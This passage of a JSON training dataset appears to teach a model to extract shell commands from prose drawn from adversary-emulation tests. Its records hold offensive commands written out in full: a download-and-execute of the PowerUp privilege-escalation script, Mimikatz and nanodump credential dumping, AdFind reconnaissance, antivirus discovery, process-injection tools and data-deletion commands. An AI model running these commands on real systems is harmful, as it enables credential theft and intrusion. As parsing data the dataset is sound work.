https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Windows mail data management, which involves copying and then removing the data, run this multi-step command:\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore; The mail data can be copied and then deleted by executing this command: mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \"$(basename \"$file\")\" != \"copy\" ]; then cp -R \"$file\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\n",
    "output": "{\"command_list\": [\"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nRemove-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore\\n\", \"mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \\\"$(basename \\\"$file\\\")\\\" != \\\"copy\\\" ]; then cp -R \\\"$file\\\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting an installed Sysmon service using driver altitude, even if the name has been changed, run this command: fltmc.exe | findstr.exe 385201. This will reveal the sysmon driver instance if it exists.; The installed antivirus products can be discovered with this WMI command: wmic.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List, which will list all detected security software.",
    "output": "{\"command_list\": [\"fltmc.exe | findstr.exe 385201\\n\", \"wmic.exe /Namespace:\\\\\\\\root\\\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check the current system time on Windows, you can use the built-in command: time; The system's time zone can be identified by executing this registry query command: reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\" /v TimeZoneKeyName",
    "output": "{\"command_list\": [\"time\\n\", \"reg query \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\TimeZoneInformation\\\" /v TimeZoneKeyName\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, inspired by Black Hills InfoSec, tests outbound ports by running the following script, which checks connectivity and logs results to Desktop\\open-ports.txt:\n$ports = Get-content \"#{port_file}\"\n$file = \"#{output_file}\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n    $test = new-object system.Net.Sockets.TcpClient\n    $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n    $totalports++ | Out-Null\n    if ($test.Connected) {\n        $result = \"$port open\" \n        Write-Host -ForegroundColor Green $result\n        $result | Out-File -Encoding ASCII -append $file\n        $totalopen++ | Out-Null\n    }\n    else {\n        $result = \"$port closed\" \n        Write-Host -ForegroundColor Red $result\n        $totalclosed++ | Out-Null\n        $result | Out-File -Encoding ASCII -append $file\n    }\n}\n$results = \"There were a total of $totalopen open ports out of $totalports ports tested.\"\n$results | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n; For reconnaissance in an Active Directory environment, ransomware actors have been documented using the following command with AdFind tool: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=subnet) #{optional_args}",
    "output": "{\"command_list\": [\"$ports = Get-content \\\"#{port_file}\\\"\\n$file = \\\"#{output_file}\\\"\\n$totalopen = 0\\n$totalports = 0\\nNew-Item $file -Force\\nforeach ($port in $ports) {\\n    $test = new-object system.Net.Sockets.TcpClient\\n    $wait = $test.beginConnect(\\\"allports.exposed\\\", $port, $null, $null)\\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\\n    $totalports++ | Out-Null\\n    if ($test.Connected) {\\n        $result = \\\"$port open\\\" \\n        Write-Host -ForegroundColor Green $result\\n        $result | Out-File -Encoding ASCII -append $file\\n        $totalopen++ | Out-Null\\n    }\\n    else {\\n        $result = \\\"$port closed\\\" \\n        Write-Host -ForegroundColor Red $result\\n        $totalclosed++ | Out-Null\\n        $result | Out-File -Encoding ASCII -append $file\\n    }\\n}\\n$results = \\\"There were a total of $totalopen open ports out of $totalports ports tested.\\\"\\n$results | Out-File -Encoding ASCII -append $file\\nWrite-Host $results\\n\", \"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=subnet) #{optional_args}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test performs a system restart by executing the command: halt --reboot; To shut down a FreeBSD or Linux system, use the following command: poweroff",
    "output": "{\"command_list\": [\"halt --reboot\\n\", \"poweroff\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The NanoDump tool creates a dump file in the temp directory when you execute this command: PathToAtomicsFolder\\..\\ExternalPayloads\\nanodump.x64.exe -w \"%temp%\\nanodump.dmp\"\n; To perform offline credential theft from lsass.exe memory dumps, adversaries typically use Mimikatz (downloadable from https://github.com/gentilkiwi/mimikatz) with this command: \"#{mimikatz_exe}\" \"sekurlsa::minidump #{input_file}\" \"sekurlsa::logonpasswords full\" exit",
    "output": "{\"command_list\": [\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\nanodump.x64.exe -w \\\"%temp%\\\\nanodump.dmp\\\"\\n\", \"\\\"#{mimikatz_exe}\\\" \\\"sekurlsa::minidump #{input_file}\\\" \\\"sekurlsa::logonpasswords full\\\" exit\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a cloned process with injected shellcode using the Windows undocumented remote-fork API, run the following command: Start-Process \"$PathToAtomicsFolder\\T1055\\bin\\x64\\redVanity.exe\" #{pid}; By leveraging RWX sections in PE files, this injection method bypasses detection mechanisms that monitor API calls like VirtualAlloc. To execute the shellcode (which displays a message box and notepad), run the following: $address = (& \"$PathToAtomicsFolder\\T1055\\bin\\x64\\searchVuln.exe\" \"$PathToAtomicsFolder\\T1055\\bin\\x64\\vuln_dll\\\" | Out-String | Select-String -Pattern \"VirtualAddress: (\\\\w+)\").Matches.Groups[1].Value\n& \"PathToAtomicsFolder\\T1055\\bin\\x64\\RWXinjectionLocal.exe\" \"#{vuln_dll}\" $address",
    "output": "{\"command_list\": [\"Start-Process \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\redVanity.exe\\\" #{pid}\\n\", \"$address = (& \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\searchVuln.exe\\\" \\\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\vuln_dll\\\\\\\" | Out-String | Select-String -Pattern \\\"VirtualAddress: (\\\\w+)\\\").Matches.Groups[1].Value\\n& \\\"PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RWXinjectionLocal.exe\\\" \\\"#{vuln_dll}\\\" $address\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and 